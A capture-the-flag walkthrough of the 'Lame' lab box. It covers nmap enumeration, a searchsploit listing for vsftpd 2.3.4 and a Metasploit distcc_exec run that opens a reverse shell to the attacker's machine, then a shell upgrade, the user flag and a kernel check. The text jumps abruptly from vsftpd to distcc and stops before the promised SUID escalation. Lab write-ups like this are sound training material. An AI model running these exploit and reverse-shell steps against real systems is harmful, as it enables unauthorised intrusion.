A classic beginner-friendly Linux box: a tempting service turns out to be a dead end, an overlooked daemon opens the door, and a misconfigured SUID binary hands over root.
$ ip=10.129.61.69; ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr' '',' | sed s/,$//); nmap -p$ports -sC -sV $ip Starting Nmap 7.98 ( https://nmap.org ) at 2026-08-25 01:31 -0400 Nmap scan report for 10.129.61.69 Host is up (0.21s latency).
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 | ftp-syst: | STAT: | FTP server status: | Connected to 10.10.16.54 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeoutin seconds is 300 | Control connection is plain text | Data connections will be plain text | vsFTPd 2.3.4 - secure, fast, stable |_End of status |_ftp-anon: Anonymous FTP login allowed (FTP code 230) 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) | ssh-hostkey: | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) |_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP) 3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 57.50 seconds
Key takeaways from the scan:
21/tcp — vsftpd 2.3.4 with anonymous login allowed
22/tcp — OpenSSH 4.7p1
139/tcp and 445/tcp — Samba smbd 3.0.20-Debian
3632/tcp — distccd v1
Foothold
vsftpd 2.3.4 (dead end)
FTP allows anonymous login, and on further enumeration searchsploit shows that version 2.3.4 is vulnerable to Backdoor Command Execution.
1 2 3 4 5 6 7 8 9 10 11 12
$ searchsploit vsftpd -------------------------------------------------------------- --------------------------------- Exploit Title | Path -------------------------------------------------------------- --------------------------------- vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumptio | linux/dos/5814.pl vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1 | windows/dos/31818.sh vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2 | windows/dos/31819.pl vsftpd 2.3.2 - Denial of Service | linux/dos/16270.c vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb vsftpd 3.0.3 - Remote Denial of Service | multiple/remote/49719.py -------------------------------------------------------------- ---------------------------------
msf > use 0 [*] No payload configured, defaulting to cmd/unix/reverse_bash msf exploit(unix/misc/distcc_exec) > show payloads msf exploit(unix/misc/distcc_exec) > set payload cmd/unix/reverse payload => cmd/unix/reverse msf exploit(unix/misc/distcc_exec) > set LPORT 4444 LPORT => 4444 msf exploit(unix/misc/distcc_exec) > show options msf exploit(unix/misc/distcc_exec) > set LHOST tun0 LHOST => 10.10.16.54 msf exploit(unix/misc/distcc_exec) > run [-] Msf::OptionValidateError One or more options failed to validate: RHOSTS. msf exploit(unix/misc/distcc_exec) > set RHOSTS lame.htb RHOSTS => lame.htb msf exploit(unix/misc/distcc_exec) > run
This gave us a shell.
Upgrading the Shell
Upgrade the shell by typing shell:
1 2 3 4 5 6
shell [*] Trying to find binary 'python' on the target machine [*] Found python at /usr/bin/python [*] Using `python` to pop up an interactive shell [*] Trying to find binary 'bash' on the target machine [*] Found bash at /bin/bash
User Flag
Grab the user flag from the makis home folder:
1 2 3 4
daemon@lame:/tmp$ cd /home/makis cd /home/makis daemon@lame:/home/makis$ cat user.txt cat user.txt
Privilege Escalation
Kernel Check
Check the kernel version:
1 2 3
daemon@lame:/tmp$ uname -a uname -a Linux lame 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux